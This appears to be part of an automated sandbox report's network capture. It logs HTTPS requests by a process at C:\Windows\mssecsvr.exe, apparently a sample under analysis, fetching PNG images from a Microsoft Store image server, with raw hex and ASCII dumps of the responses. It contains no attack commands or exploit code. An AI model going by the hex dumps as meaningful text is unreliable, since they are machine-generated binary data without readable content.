2022-07-20 11:23:45 UTC	488	IN	Data Raw: 36 a5 ef 1b db b8 dc 83 a2 6c 43 8c 72 aa c4 8c 59 bd f8 5b e3 0a da cf 13 53 3a b3 b2 49 6d 70 bb ab a7 0b 53 c6 2d 3b 5a c7 b5 ec a8 61 bf 01 14 37 62 6a dc d2 56 71 1d 7b 55 f9 7b b0 e5 d3 62 9c b1 19 76 33 68 d8 cf 27 df 7a be 63 56 12 ac 6c 59 ba 0d 50 f5 18 59 ec 3d 3a 82 27 f7 1c c6 01 e3 26 76 18 d0 3a 65 76 1f ce 5f 36 0b 7d a6 3c 43 e3 53 ec 3e fb 76 d8 00 d1 9a 85 83 78 df 4b 96 e2 2f bf b3 b5 5e 5f 09 d2 59 9a 36 31 69 5e 76 da 5c c3 84 56 3b 66 d5 84 df 03 d6 3d b7 41 7f 03 86 56 76 dd 7e 2a 83 a9 c3 f0 84 de 9e 36 54 38 61 9e f1 67 2f 5f 8a 3b 77 0d e1 c1 ed 27 4c a7 56 b1 e6 34 1c 52 95 5c 5d e2 55 7b 24 72 52 32 5d 49 12 f6 e9 aa c5 9b f3 5a 42 bc b0 d6 2d 4f 1a 98 7d 7b 5b 06 c9 32 98 4a 1a 03 0c 8f 8c 4d ab 80 16 81 09 90 8c 69 de 32 0d Data Ascii: 6lCrY[S:ImpS-;Za7bjVq{U{bv3h'zcVlYPY=:'&v:ev_6}<CS>vxK/^_Y61i^v\V;f=AVv~*6T8ag/_;w'LV4R\]U{$rR2]IZB-O}{[2JMi2
2022-07-20 11:23:45 UTC	489	IN	Data Raw: 38 77 d5 02 3c ba 61 97 d1 f6 1e de 43 8e 4d e0 e2 f3 56 61 cd e2 d9 18 1d 4f 01 ab d3 ba 9e 63 e3 f8 cc 3d 9b ab 65 2f 04 ac 4b df d7 bc 58 86 65 f1 65 a0 1b 2f 3b 75 81 b1 24 dd 38 6d 51 a7 0c 6b fa f4 fd cf 57 a7 48 d3 fb 25 e8 7b 4a d2 4e 79 7c ba 92 c8 d8 ca c3 3c 6b ed 8a 39 38 77 c9 4c 75 ba 88 0d f8 df f6 c4 1e 1c 38 30 54 b9 82 25 98 0b 53 a9 85 7d 5f cd 7d 5b 69 5c be 52 61 79 f6 89 f6 eb 11 1a 14 b7 65 31 cf 7c e9 d2 19 58 38 b3 07 23 0a 23 b2 57 af 69 87 fb 76 1c c7 dd 2f d4 2e 9c 74 8f e8 67 f3 fb 43 3b 8f e3 1e f3 f7 8a 55 b3 12 a6 67 2f 1b a8 5f 3c a3 1b 2f 5d dc 8f 9b 36 8e 55 88 a8 b0 a8 40 c8 6b f9 87 43 56 34 a6 85 08 44 a9 eb 98 a6 c9 c6 b2 02 30 81 83 9d 60 61 09 8b 4a 30 01 f0 0c b1 32 f9 22 88 3c 61 5a 40 78 7e 02 5a a4 29 43 0c 4b Data Ascii: 8w<aCMVaOc=e/KXee/;u$8mQkWH%{JNy\|<k98wLu80T%S}_}[i\Raye1\|X8##Wiv/.tgC;Ug/_</]6U@kCV4D0`aJ02"<aZ@x~Z)CK
2022-07-20 11:23:45 UTC	505	IN	Data Raw: f8 6d 5c b6 13 c3 63 f8 bb eb 6f c7 bf 7c f3 21 bc f9 ea f5 f8 c5 9f b8 0c 17 9d b5 d2 a5 1b 1b 1d 73 9b c4 fd 47 5d 15 be 54 8a 33 25 d7 c5 fd 27 bb ac 94 fb ed a8 9f 61 7d fb 0e 0f e1 0b df dd 88 7f b8 63 13 9e 79 a1 de 1e c6 cd a9 aa af 92 6b 9b 76 52 32 03 1b 03 52 af 3b 6b 11 16 cf b3 7b a3 8d 63 b0 bf 0b cf ec 3c 82 0f 7e fd 29 37 ef 8a 4d a4 f4 4f f1 e2 d4 58 38 09 30 84 48 8e a6 73 e0 fa 1b 80 8d fa 5a d2 85 a3 a0 c5 11 91 b8 79 c8 02 9a 1e 4a 51 48 40 28 27 52 5b 03 95 25 20 01 2e ac 7b ad 93 b0 ed 65 7c 63 82 3c 4e 7e 47 3f cb 74 ed 30 31 ed 3e 9f 67 ee fe 76 d2 36 3d 57 cb b7 6a 2b 3e 19 51 0b 32 c6 b4 10 0a a1 cd 5f 4a 99 96 8f 45 78 65 d0 a6 04 24 2c cd 4b da ce 9d aa 81 eb 5f be 70 17 ae bf e9 21 bc e1 f2 75 78 df 1b 5e 8a 57 bf f4 74 0c 0c Data Ascii: m\co\|!sG]T3%'a}cykvR2R;k{c<~)7MOX80HsZyJQH@('R[% .{e\|c<N~G?t01>gv6=Wj+>Q2_JExe$,K_p!ux^Wt
2022-07-20 11:23:45 UTC	517	IN	Data Raw: 41 ef 74 65 d4 62 ea 31 7f 28 78 e5 ca 24 d0 d4 dc d6 7e 5b 97 4c c6 4e 5e 9c 06 87 bf 1d a1 3b 69 b5 eb 92 98 9c 67 99 b1 5e 4e 13 78 47 3a b8 a0 61 f9 79 21 65 93 ba af a7 90 d3 1f 90 fc dc ee c9 16 85 8c 31 a9 5e a7 35 90 c4 ef 98 30 ef 38 8a c0 70 a7 67 a7 56 69 f8 9e 02 4c 07 be 13 a8 4e 80 ef ca 52 32 3c 21 8f 93 de a3 b9 d7 d5 79 d2 fb 09 d1 9d 3a 8f 53 67 f2 c4 e6 45 6f 1a 5a 21 21 39 f8 3c 32 08 22 11 69 9c 44 a4 b3 8e 2c 20 39 2d 4f c4 5f 94 76 ff 5a 07 af 72 b7 44 00 18 49 b6 73 34 33 ca 60 a0 b3 4d 50 bf 6b 92 31 02 b8 6c 32 28 86 bf 69 bd 1b b6 8a d0 53 bf 9a a3 f5 5b ca 73 f4 a4 f4 fe 2a a2 2e 8b b8 a6 0d ca e2 5b 28 9f 27 e0 a3 63 a1 9e 86 48 78 75 78 c5 47 d0 1e 63 c9 97 36 f0 db 81 c8 af b1 e3 2b 00 f3 6f 2e 63 77 6d 07 d4 ee 50 84 7b 02 Data Ascii: Ateb1(x$~[LN^;ig^NxG:ay!e1^508pgViLNR2<!y:SgEoZ!!9<2"iD, 9-O_vZrDIs43`MPk1l2(iS[s*.[('cHxuxGc6+o.cwmP{

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.7	49728	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:37 UTC	59	OUT	GET /image/apps.18694.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.4e8e78d2-c2c2-4c02-8d8c-46ac3b2419e7?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:37 UTC	59	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 3667 Content-Type: image/png Last-Modified: Wed, 04 Mar 2020 18:13:09 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdDMDY3QjFCNTg1NkE" MS-CV: RzU3JcDdukKYyaz4.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:37 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:37 UTC	60	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 0e 1a 49 44 41 54 78 5e ed 9d 5f 88 24 57 15 c6 cf a9 ee 99 64 66 a3 6e 36 f8 26 91 68 20 28 11 9f 44 25 a8 80 88 40 80 e0 93 04 7c 11 51 c1 17 ff 83 a8 82 18 41 81 18 50 51 21 82 90 27 41 7c 11 88 08 18 44 21 1a 14 9f 22 c1 b8 06 5f 44 65 d7 dd c5 75 77 76 67 a6 fb 7e 5a bd b7 f9 e8 7b b8 9c 99 a2 6b a6 ab e6 7c 70 b9 a7 aa 86 ee 9e ee 5f 7f e7 dc 7b ab aa 15 80 1c 57 a1 50 23 ae 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 4d 65 04 52 55 95 01 0a 00 64 a0 52 00 01 46 80 d5 37 38 01 4a 80 44 Data Ascii: PNGIHDR0IDATx^_$Wdfn6&h (D%@\|QAPQ!'A\|D!"_Deuwvg~Z{k\|p_{WP#B'PpB'PpB'PpB'PpB'PMeRUdRF78JD

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.7	49764	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:46 UTC	519	OUT	GET /image/apps.54562.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.24af4abe-62f8-404b-b1a9-ee8fe4d32d94?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:46 UTC	520	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 12462 Content-Type: image/png Last-Modified: Fri, 04 Jun 2021 08:47:09 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyNzM1NTcwNDdCNjk" MS-CV: YL1WyeTAvUC1HHWF.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:46 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:46 UTC	520	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 30 43 49 44 41 54 78 5e ed 9d 09 78 55 c5 dd c6 cd 46 02 24 ec 5b 42 48 20 1b 4b 20 20 a0 28 6e 05 14 95 45 56 d9 51 b4 6e b5 e2 be a1 d6 b5 b6 2e b5 2a d5 16 97 af 9f 75 af da d6 cf 6a ab 6d ad 56 dc 70 b7 22 22 a0 e0 86 2c 22 10 b2 2f e7 ff bd ff 73 73 31 09 93 e4 86 9c 7b ef 39 e7 be bf e7 f9 3d 48 80 e4 cc dc 33 af 33 73 e6 cc 1c 40 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 84 10 42 08 21 Data Ascii: PNGIHDR,,y}usRGBgAMAapHYsod0CIDATx^xUF$[BH K (nEVQn.*ujmVp"","/ss1{9=H33s@!B!B!B!B!B!B!B!B!B!B!B!

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.7	49768	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:46 UTC	532	OUT	GET /image/apps.59367.13510798885854323.dbec43fa-fcea-4036-9b1c-96de66922c18.da850a8e-5b3f-49fd-b3dc-6a8c0db400e4?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:46 UTC	533	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 45735 Content-Type: image/png Last-Modified: Wed, 04 Nov 2020 14:51:15 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDg4MEQxMTQ2RkU2Q0E" MS-CV: hrPmTcUjH02eZ8TI.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:46 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:46 UTC	533	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 02 00 00 00 68 9f a7 5f 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 08 ae 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 30 3a 32 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDRh_pHYs.#.#x?viTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RD
2022-07-20 11:23:46 UTC	549	IN	Data Raw: 71 48 56 59 06 10 b7 b9 3e c3 71 1d 54 28 bc 80 59 82 73 08 c8 36 41 b2 59 ad 39 5f 28 1c 99 9a cd bf fe b7 c7 76 5c d7 e8 9e 6f 1c 7a a6 bf af 20 05 20 33 c4 cd 74 78 a3 db 7a c3 a1 1f fe c3 b1 3f fb e8 2e ec 86 95 80 2c 49 01 88 ec 08 d8 13 18 64 e3 f7 40 a2 37 e2 06 19 5c 53 00 aa 68 69 d1 0a a1 85 d2 a8 23 30 75 d0 a5 7d 57 4f 3c 79 b2 31 bf 1a 47 81 cc 22 33 d9 83 b0 33 47 b9 88 11 3b ad 16 20 30 09 a5 30 b5 46 48 1d 06 7e a3 9d ee 1f c4 bd e3 e5 96 41 a9 b5 f6 3d 21 b3 31 67 90 4a 09 ad 50 29 97 98 e2 e6 91 ea 86 d1 e7 be f0 af 05 c1 63 b7 bf 9a 9c 65 66 21 84 94 a2 34 3e 3a 76 eb cd 5b 7f e6 dd 1b df f1 53 d1 fa 1d ad 4e 70 e9 e0 d9 93 df 7f ea e4 f7 1e 5b 7a f8 d9 74 b9 5e de 38 a6 cb b9 b4 d1 4c d3 44 23 ba d9 8b 1f f8 8b 7f 9b 6a 13 04 fd 6f da Data Ascii: qHVY>qT(Ys6AY9_(v\oz 3txz?.,Id@7\Shi#0u}WO<y1G"33G; 00FH~A=!1gJP)cef!4>:v[SNp[zt^8LD#jo
2022-07-20 11:23:46 UTC	557	IN	Data Raw: ae 59 b7 5e fa 01 92 23 29 c5 ba 75 86 b9 b5 b2 6c 89 c2 30 3c dc 6e 5d 48 d3 f3 ce 1e 05 78 f3 cf bd f7 ff b9 e7 3b fb 5e f5 2a 01 10 c7 31 38 57 1c 99 e8 16 6e ba f7 13 7f f1 f8 f7 26 ff f5 de 99 17 1e 3e b9 47 3c 11 6c d9 06 63 b7 b9 f3 4f cf 7f bf b5 25 57 4d eb 53 d5 37 be 43 59 28 cd 5f 7a 69 b6 3b fd cd e9 09 73 6d 65 e0 77 e2 ce a6 87 4e af 84 8b 47 4b 79 e1 8f 8e cb 42 09 64 84 32 44 1d 82 d4 d9 32 69 60 5a db bd e1 d8 11 90 43 22 a6 1e 41 0e 10 b1 35 59 82 cc c6 32 64 47 e8 90 1d 93 23 e7 98 18 ac 03 66 76 8e ad 03 26 48 1d 91 60 72 2e b5 64 1d a5 44 29 93 23 97 c9 c8 11 19 26 c8 c8 42 d6 0a 7d 16 52 03 b4 b6 ed 80 01 8c 05 43 e0 2c 10 a1 45 70 0e 1d a3 63 b4 2c 2c 4b 87 c2 a1 76 a8 50 69 3f 0c c2 20 18 dd 75 d3 81 73 8f 3d fb e2 19 61 c9 16 01 Data Ascii: Y^#)ul0<n]Hx;^*18Wn&>G<lcO%WMS7CY(_zi;smewNGKyBd2D2i`ZC"A5Y2dG#fv&H`r.dD)#&B}RC,Epc,,KvPi? us=a
2022-07-20 11:23:46 UTC	573	IN	Data Raw: 7b f9 c2 e7 ff fc 75 5e ab 11 cc 69 14 45 81 eb 97 5c bf 3f 1c 18 8c da bd 6e 7b 65 85 52 1a f9 81 e7 79 be e7 07 be 1f 79 be cb b9 94 d2 a3 54 6b 2d a5 d4 08 5b 03 da 58 ad 75 9e e6 59 92 f0 38 a6 8e 83 19 c3 88 02 10 0b 0a 01 06 8a f7 12 42 4c 00 23 8c b0 83 09 26 24 a3 f4 e4 7b 3f 50 bd f4 c3 97 bf fe 87 af dc be d6 f9 f8 cf 1c 3c 72 72 bc 56 2f 8f 4d 3a 03 3f ee 77 95 14 23 9d 9c 31 d6 23 8c bb 2a cf a5 36 56 5a 84 11 41 84 50 0a cc 5a 63 1c 25 3d a9 7d a1 72 6c 72 65 52 ac 12 89 32 8e 0b 38 4f a9 23 c3 71 cc dd 24 69 0e 20 a6 65 04 ca 68 29 75 5a 76 a5 ad a7 fa 70 22 74 26 64 9a 66 e9 70 20 95 92 88 49 05 22 cf b2 5e 7b b7 df 6a e4 09 48 01 80 90 eb 61 ee 52 ca a9 4a b0 cc 0d 75 6c d5 07 a7 80 bc 92 57 a8 56 cb b5 42 6d ac 50 ae 85 61 e4 3b cc a1 98 Data Ascii: {u^iE\?n{eRyyTk-[XuY8BL#&${?P<rrV/M:?w#1#*6VZAPZc%=}rlreR28O#q$i eh)uZvp"t&dfp I"^{jHaRJulWVBmPa;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.7	49771	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:46 UTC	578	OUT	GET /image/apps.56668.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.a2d9522a-f7d1-4f21-9ea4-8ba298101695?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:46 UTC	578	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 36356 Content-Type: image/png Last-Modified: Tue, 01 Feb 2022 21:30:34 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDlFNUNBMTRBNkU5OUQ" MS-CV: z5GVXLljMESvilJy.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:46 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:46 UTC	578	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 8d 99 49 44 41 54 78 01 ed bd 09 bc a5 c7 55 1f 78 ea be d7 7b b7 ba 25 bb 2d 4b 6e d9 6d 5b b6 ac 76 b0 64 cb 6a 63 27 58 0d 32 43 60 62 10 03 32 09 b1 13 83 4d 06 08 3f 76 86 25 04 db 24 13 60 86 80 93 09 01 32 13 42 98 e1 c7 04 41 00 11 32 c1 01 d4 92 81 60 59 6d 4b 02 29 96 2c cb 92 25 6b b1 96 5e df 7e ef 77 a6 96 b3 fc ab ee 6d 59 b2 16 ab df ab 23 dd be f7 7d 4b 55 7d f5 55 fd eb 7f 4e 9d 3a 45 d4 a5 4b 97 2e 5d ba 74 e9 d2 a5 4b 97 2e 5d ba 74 e9 d2 a5 4b 97 2e 5d ba 74 e9 d2 a5 4b 97 2e 5d ba 74 Data Ascii: PNGIHDR,,y}upHYssRGBgAMAaIDATxUx{%-Knm[vdjc'X2C`b2M?v%$`2BA2`YmK),%k^~wmY#}KU}UN:EK.]tK.]tK.]tK.]t
2022-07-20 11:23:46 UTC	594	IN	Data Raw: cc 93 02 ab d3 08 d2 0b cf 2b 04 5c b6 97 eb f5 f1 c7 1f cf 8c eb 0f fe e0 0f 5e 71 d6 ae ed 17 2c 2c 2e a7 3d 21 a5 46 48 1d 52 2b 86 52 31 1b 30 61 d1 4c 76 65 97 a9 c1 de 98 11 57 46 f7 5c af 81 1a 96 56 a7 27 3f 61 36 c0 d3 30 3f 2f 4b cf fe 16 04 64 28 b1 00 23 30 2b 4f 5c 4b b1 b4 bc 74 e7 ef fe d6 7f f8 6c fa 2b b2 d3 fc 5e 74 2b af f5 68 bf 4a d2 19 56 23 b1 1d 5c 95 9c 44 57 d7 12 60 25 87 d1 b2 d9 84 8d b8 36 da 51 65 7f d0 96 a8 56 0e 60 4d 6a 8b d2 46 cf 36 c2 e3 08 ee 8d b4 48 36 88 7b 74 4b 6d e3 c8 e0 ca bd 64 ac 22 45 29 f5 0e 91 13 61 46 f6 c6 72 cf e0 1d 44 d9 a3 31 36 92 6d c4 94 6c 51 f2 a2 be 5d 17 d5 9a 27 f5 81 03 07 86 68 9f 7a 46 3a 45 5e 92 22 11 1b c8 d7 be a9 01 79 1c 6d 5f e3 cb 2f bf fc cd 1a 1b 2c 45 7d 4d 2e 14 64 6c 63 f0 Data Ascii: +\^q,,.=!FHR+R10aLveWF\V'?a60?/Kd(#0+O\Ktl+^t+hJV#\DW`%6QeV`MjF6H6{tKmd"E)aFrD16mlQ]'hzF:E^"ym_/,E}M.dlc
2022-07-20 11:23:46 UTC	602	IN	Data Raw: 04 67 8f e4 e7 14 8c 42 35 f8 b0 b3 b8 00 37 31 bb 49 01 51 3f fd 73 ea b8 d9 af 6c 39 4e 72 16 dd bb 77 ef 86 75 67 50 d9 28 0c 2b bd e4 bc 8b f0 d2 d2 4a 09 5b a2 33 51 d2 68 92 ba 33 72 fb 46 19 8d 85 51 e1 4e d0 6a a5 60 33 8f e4 36 6f aa 13 11 9b 0d c4 9a 60 70 f7 a1 91 35 4e 27 24 d8 57 fc 1e 21 21 76 65 f1 db 0a 4a eb ac df 05 df 5b 30 d8 6a 13 98 fb 57 4d c5 81 09 f3 81 c9 2b 1b b6 6d 37 eb ca 3e 9c 53 63 35 9e ab a7 be 82 44 4e b3 c4 0b 63 59 9e 1c e0 21 65 e9 0a 58 6d f4 19 58 76 9e 36 03 fe e0 66 9f c6 37 cd 8a 6c 15 e3 b3 6f 8c ec 49 a1 13 1a c0 0c 4e e2 93 2b 70 44 1f 1a 0d e4 dc 24 a3 60 a3 f6 32 b4 63 11 b9 0d 6c 04 76 2e fb 96 44 94 8d 2b aa d9 35 f1 aa 3b ee bc fd 3a 6a b6 f3 4a a7 65 ff c1 0d 2d 1b 02 b0 12 bb 2a 51 2c d7 28 85 de 4d 6b Data Ascii: gB571IQ?sl9NrwugP(+J[3Qh3rFQNj`36o`p5N'$W!!veJ[0jWM+m7>Sc5DNcY!eXmXv6f7loIN+pD$`2clv.D+5;:jJe-*Q,(Mk

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.7	49774	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:46 UTC	614	OUT	GET /image/apps.62687.13510798885854323.6a8c11ad-84e9-4247-9ba9-ab3742bdbb87.e61dfadd-3bdd-4f66-beb1-6bb763b60b02?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:46 UTC	615	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 142254 Content-Type: image/png Last-Modified: Mon, 10 Jun 2019 11:14:58 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDZFRDk0REZGNkE2RjM" MS-CV: 3ZtNXbGcZUui37wn.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:46 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:46 UTC	615	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 0e 00 00 01 0e 08 02 00 00 00 f7 d3 6e f2 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 0a 4f 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 70 72 6f 66 69 6c 65 00 00 78 da 9d 53 67 54 53 e9 16 3d f7 de f4 42 4b 88 80 94 4b 6f 52 15 08 20 52 42 8b 80 14 91 26 2a 21 09 10 4a 88 21 a1 d9 15 51 c1 11 45 45 04 1b c8 a0 88 03 8e 8e 80 8c 15 51 2c 0c 8a 0a d8 07 e4 21 a2 8e 83 a3 88 8a ca fb e1 7b a3 6b d6 bc f7 e6 cd fe b5 d7 3e e7 ac f3 9d b3 cf 07 c0 08 0c 96 48 33 51 35 80 0c a9 42 1e 11 e0 83 c7 c4 c6 e1 e4 2e 40 81 0a 24 70 00 10 08 b3 64 21 73 fd 23 01 00 f8 7e 3c 3c 2b 22 c0 07 be 00 01 78 d3 0b 08 00 c0 4d 9b c0 30 1c 87 ff 0f ea 42 99 5c 01 80 84 01 c0 74 91 38 4b Data Ascii: PNGIHDRnpHYs.#.#x?vOiCCPPhotoshop ICC profilexSgTS=BKKoR RB&*!J!QEEQ,!{k>H3Q5B.@$pd!s#~<<+"xM0B\t8K
2022-07-20 11:23:46 UTC	647	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2022-07-20 11:23:46 UTC	663	IN	Data Raw: 98 24 56 a1 ef 59 0b 49 aa 90 61 10 04 0c a1 d3 e9 65 be 2f 70 a5 31 56 29 5d ad 55 84 14 48 44 d6 26 49 0a 44 5c 0a d7 f1 2a 41 b8 b9 dd 22 ab 1d 29 3b dd de fc c2 5c 18 06 2f bd 74 5a 30 b4 d6 0a e9 70 c6 06 83 01 08 21 18 1d 99 72 1b ae f4 99 f5 24 33 8c 47 16 99 22 96 25 87 c6 12 59 6e ed e1 49 ff f0 84 f7 3d 47 27 ae b5 a2 33 ab fd 97 56 3a 67 d7 07 db fd f4 56 fa 07 13 7c 6a b2 2e 1d 71 fd c6 7a bf 1f 51 21 08 2f 39 73 90 75 06 f1 20 89 03 57 02 00 43 71 f1 ea cd 41 92 86 be cf 48 45 91 dd d8 6e f7 e3 78 b2 16 00 19 ce a0 d5 e9 6d b6 da 3f ff f0 ac 26 b3 36 80 25 6b d6 d7 d6 6f 5c bf ae b5 56 2a dd da de 52 49 8a 88 83 c1 60 d0 ef 75 da 3b 4a 93 49 95 ef 88 9d 5e 6c 81 b4 d6 2a 55 9d 6e 27 8e e3 7a bd a1 b5 01 20 5e 4c aa e4 5c 64 a3 2b a6 67 e6 24 Data Ascii: $VYIae/p1V)]UHD&ID\A");\/tZ0p!r$3G"%YnI=G'3V:gV\|j.qzQ!/9su WCqAHEnxm?&6%ko\VRI`u;JI^l*Un'z ^L\d+g$
